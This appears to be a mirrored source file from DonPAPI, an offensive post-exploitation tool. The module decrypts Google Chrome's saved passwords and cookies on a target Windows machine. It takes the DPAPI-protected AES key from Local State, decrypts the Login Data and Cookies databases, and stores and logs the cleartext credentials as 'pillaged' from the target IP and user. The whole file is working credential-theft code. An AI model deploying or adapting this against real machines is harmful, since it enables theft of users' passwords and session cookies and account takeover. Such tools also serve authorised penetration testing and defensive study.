mirror of
https://github.com/login-securite/DonPAPI
synced 2024-12-18 05:04:44 +00:00
193 lines
8.9 KiB
Python
193 lines
8.9 KiB
Python
import sys
|
|
import sqlite3,os,json,base64,binascii
|
|
from datetime import datetime,timedelta
|
|
from lib.toolbox import bcolors
|
|
from lib.dpapi import *
|
|
|
|
class CHROME_LOGINS:
|
|
def __init__(self, options,logger,db,username):
|
|
self.logindata_path = None
|
|
self.localstate_path = None
|
|
self.localstate_dpapi = None
|
|
self.cookie_path = None
|
|
self.options = options
|
|
self.logging= logger
|
|
self.username = username
|
|
self.aeskey = None
|
|
self.masterkey = None
|
|
self.masterkey_guid = None
|
|
self.logins = {}
|
|
self.cookies = {}
|
|
self.db=db
|
|
|
|
def get_masterkey_guid_from_localstate(self):
|
|
try:
|
|
if self.localstate_path!=None:
|
|
if os.path.isfile(self.localstate_path):
|
|
with open(self.localstate_path, "rb") as f:
|
|
localfile_datas = json.load(f)
|
|
#print(localfile_datas)
|
|
key_blob = localfile_datas['os_crypt']['encrypted_key']
|
|
blob = base64.b64decode(key_blob)
|
|
#print(blob)
|
|
if blob[:5] == b'DPAPI':
|
|
self.logging.debug(f"[{self.options.target_ip}] [Chrome decoding] found DPAPI blob : {binascii.hexlify(blob[5:])}")
|
|
blob = blob[5:]
|
|
self.localstate_dpapi=DPAPI(self.options,self.logging)
|
|
#mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = self.localstate_dpapi.find_Blob_masterkey(raw_data=blob)
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for masterkey : {guid}")
|
|
if guid != None:
|
|
self.masterkey_guid=guid
|
|
return self.masterkey_guid
|
|
else:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Erro getting en DPAPI Blob from Chrome localstate file{bcolors.ENDC}")
|
|
return None
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Blob for Chrome{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return None
|
|
|
|
|
|
def get_AES_key_from_localstate(self,masterkey=None):
|
|
if self.aeskey!=None:
|
|
return self.aeskey
|
|
if self.masterkey != None:
|
|
key=self.masterkey
|
|
elif masterkey!=None:
|
|
key=masterkey
|
|
else:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}error in get_AES_key_from_localstate - Masterkey not found {bcolors.ENDC}")
|
|
return None
|
|
self.localstate_dpapi.options.key=key
|
|
self.aeskey=self.localstate_dpapi.decrypt_blob()
|
|
if self.aeskey!= None:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Found AES key from localstate - {binascii.hexlify(self.aeskey)} ")
|
|
return self.aeskey
|
|
|
|
def decrypt_chrome_password(self,enc_password):
|
|
#BCRYPT
|
|
#BCryptGenerateSymmetricKey(*hAlg==Provider Brypt_GCM, hKey, NULL, 0, key==mykey AES, AES_256_KEY_SIZE, 0);
|
|
#Genere une clef en AES_GCM_256 qui sera utilisé dans l'algo symétrique :
|
|
if self.aeskey == None:
|
|
if self.masterkey!=None:
|
|
#lets get the key
|
|
self.get_AES_key_from_localstate()
|
|
if self.aeskey == None :
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Decrypt AES Password - Missing AES key from localstate ? {bcolors.ENDC}")
|
|
return None
|
|
try:
|
|
#Check Chrome password signature KUHL_M_DPAPI_CHROME_UNKV10[] = {'v', '1', '0'};
|
|
if enc_password[:3]==b'v10' or enc_password[:3]==b'v11':
|
|
#key = binascii.unhexlify('8fcd4861a4345013318fd63b2973c4d69c7f2094028f2e12ddcf80acb325f02d')
|
|
#ciphertext = binascii.unhexlify( '76313018d8448143ced92ff0f5e44c5d5c07edd60ed530e01570e72ce1f7e2c13924c098e569a818f3')
|
|
nonce = enc_password[3:3 + 12]
|
|
iv = nonce # buff[3:15]
|
|
payload = enc_password[15:]
|
|
#tag = enc_password[-16:]
|
|
cipher = AES.new(self.aeskey, AES.MODE_GCM, iv)
|
|
decrypted_pass = cipher.decrypt(payload)[:-16]#Removing bloc of padded data
|
|
decrypted_pass = decrypted_pass.decode('utf-8')
|
|
if decrypted_pass != None:
|
|
self.logging.debug(f"[{self.options.target_ip}] Decrypted Chrome password : {decrypted_pass}")
|
|
return decrypted_pass
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error in decrypt Chrome password {bcolors.ENDC}")
|
|
return None
|
|
else :
|
|
self.logging.debug(f"[{self.options.target_ip}] Got a Chrome Version : {enc_password[:3]} NOT IMPLEMENTED")
|
|
#c'est du DPAPI ?
|
|
#Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) user_dpapi=constant.user_dpapi)
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypt_AES_chrome_password Chrome{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return None
|
|
|
|
|
|
|
|
def decrypt_chrome_LoginData(self):
|
|
#path = '192.168.20.141\\Users\\Administrateur.TOUF\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\'
|
|
try:
|
|
self.logging.debug( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Decrypt LoginData] {bcolors.ENDC} started for {self.logindata_path}")
|
|
if self.logindata_path!=None:
|
|
if os.path.isfile(self.logindata_path):
|
|
connection = sqlite3.connect(self.logindata_path)
|
|
with connection:
|
|
cursor = connection.cursor()
|
|
v = cursor.execute(
|
|
'SELECT action_url, username_value, password_value FROM logins')
|
|
value = v.fetchall()
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Decrypt LoginData] {bcolors.ENDC} got {len(value)} entries")
|
|
for origin_url, username, password in value:
|
|
#self.logging.debug(f"[+] Found Chrome data for user {username} : {origin_url} ")
|
|
self.logins[origin_url]={}
|
|
self.logins[origin_url]['username']=username
|
|
self.logins[origin_url]['enc_password']=password
|
|
self.logins[origin_url]['password']=self.decrypt_chrome_password(password)
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-chrome',
|
|
credz_username=username,
|
|
credz_password=self.logins[origin_url]['password'],
|
|
credz_target=origin_url,
|
|
credz_path='',
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=self.username)
|
|
self.logging.info( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Chrome Password] {bcolors.ENDC} for {origin_url} [ {bcolors.OKBLUE}{self.logins[origin_url]['username']} : {self.logins[origin_url]['password']}{bcolors.ENDC} ]")
|
|
except sqlite3.OperationalError as e:
|
|
e = str(e)
|
|
if (e == 'database is locked'):
|
|
print('[!] Make sure Google Chrome is not running in the background')
|
|
elif (e == 'no such table: logins'):
|
|
print('[!] Something wrong with the database name')
|
|
elif (e == 'unable to open database file'):
|
|
print('[!] Something wrong with the database path')
|
|
else:
|
|
print(e)
|
|
return None
|
|
|
|
return self.logins
|
|
|
|
def decrypt_chrome_CookieData(self):
|
|
#path = '192.168.20.141\\Users\\Administrateur.TOUF\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\'
|
|
try:
|
|
if self.cookie_path!=None:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Decrypting Chrome cookie in {self.cookie_path}")
|
|
|
|
if os.path.isfile(self.cookie_path):
|
|
connection = sqlite3.connect(self.cookie_path)
|
|
with connection:
|
|
cursor = connection.cursor()
|
|
v = cursor.execute(
|
|
'select host_key, "TRUE", path, "FALSE", expires_utc, name, encrypted_value from cookies')
|
|
values = v.fetchall()
|
|
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Found {len(values)} Chrome cookies")
|
|
for host_key, _, path, _, expires_utc, name, encrypted_value in values:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Found Chrome cookie for {host_key}, cookie name: {name}, expire at utc :{(datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S')}")
|
|
self.cookies[host_key]={}
|
|
self.cookies[host_key][name]=self.decrypt_chrome_password(encrypted_value)
|
|
############PROCESSING DATA
|
|
self.db.add_cookies(credz_type='browser-chrome',
|
|
credz_name=name,
|
|
credz_value=self.cookies[host_key][name],
|
|
credz_expires_utc=expires_utc,
|
|
credz_target=host_key,
|
|
credz_path='',
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=self.username)
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN}[Chrome Cookie] {bcolors.ENDC} for {host_key} {bcolors.OKBLUE}[ {name}:{self.cookies[host_key][name]} ] {bcolors.ENDC} expire time: {(datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S')}")
|
|
|
|
except sqlite3.OperationalError as e:
|
|
e = str(e)
|
|
if (e == 'database is locked'):
|
|
self.logging.debug(f"[{self.options.target_ip}] [!] Make sure Google Chrome is not running in the background")
|
|
elif (e == 'no such table: logins'):
|
|
self.logging.debug(f"[{self.options.target_ip}] [!] Something wrong with the database name")
|
|
elif (e == 'unable to open database file'):
|
|
self.logging.debug(f"[{self.options.target_ip}] [!] Something wrong with the database path")
|
|
self.logging.debug(f"[{self.options.target_ip}] {e}")
|
|
return None
|
|
|
|
return self.cookies |